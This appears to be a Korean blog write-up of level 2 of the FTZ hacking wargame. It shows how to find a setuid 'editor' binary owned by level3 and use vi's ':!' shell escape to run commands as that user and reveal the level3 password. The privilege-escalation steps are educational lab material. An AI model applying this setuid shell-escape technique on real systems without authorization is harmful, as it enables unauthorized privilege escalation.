티스토리 뷰

728x90
반응형

 

 

[level2@ftz level2]$ cat hint

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...

일단 문제 내용은 위와 같습니다. 그리고 바로 level3 사용자 소유의 파일을 검색해보았습니다.

[level2@ftz level2]$ find / -user level3 2>/dev/null
/usr/bin/editor
[level2@ftz level2]$ file /usr/bin/editor
/usr/bin/editor: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped

그리고 /usr/bin/editor 이라는 setuid 가 걸려있는 실행파일을 찾았습니다.

한번 실행해보기 전에 파일이 어떤 사용자의 권한으로 실행되는 setuid 파일인지 확인해보겠습니다.

[level2@ftz level2]$ ls -al /usr/bin/editor
-rwsr-x---    1 level3   level2      11651 Sep 10  2011 /usr/bin/editor

네 level3 권한으로 실행되는 파일임을 확인했습니다. 이로써 이 실행파일으로 level3 의 권한으로의 권한 상승 취약점을 이용해 문제를 풀라는 것이겠습니다. 실행시켜보면 아래와 같은 vi 에디터 화면이 나옵니다.

vi 에디터에서는 명령어를 실행시킬 수 있다는 것을 알고 계셨나요?

vi 메뉴얼을 보면 아래와 같은 내용을 보실 수 있습니다. !(느낌표)를 통해서 shell 명령어를 실행시킬 수 있다고 합니다.

EX COMMANDS

       The  following  section describes the commands available in the ex edi-
       tor.  In each entry below, the tag line is a  usage  synopsis  for  the
       command.

       <end-of-file>
	      Scroll the screen.

       ! argument(s)

       [range]! argument(s)
	      Execute  a  shell  command, or filter lines through a shell com-
	      mand.

실제로 아래와 같이 명령어를 입력해서 현재 누구의 소유로 해당 프로그램이 동작하고 있는 지 확인해보았습니다.

:!whoami

level3

Hit ENTER or type command to continue

vi 에디터에서 :!whoami 라고 입력하고 엔터키를 누르면 위와 같이 level3 이라고 나오는 것을 보실 수 있습니다. 그 말은 이제 level3 권한으로 명령어를 실행시킬 수 있음을 뜻하고, :!my-pass 와 같이 입력하게 되면 level3의 비밀번호를 알 수 있겠다는 뜻이겠습니다.

:!my-pass

Level3 Password is "can you fly?".


shell returned 37

Hit ENTER or type command to continue

- 끝 -

728x90
반응형
댓글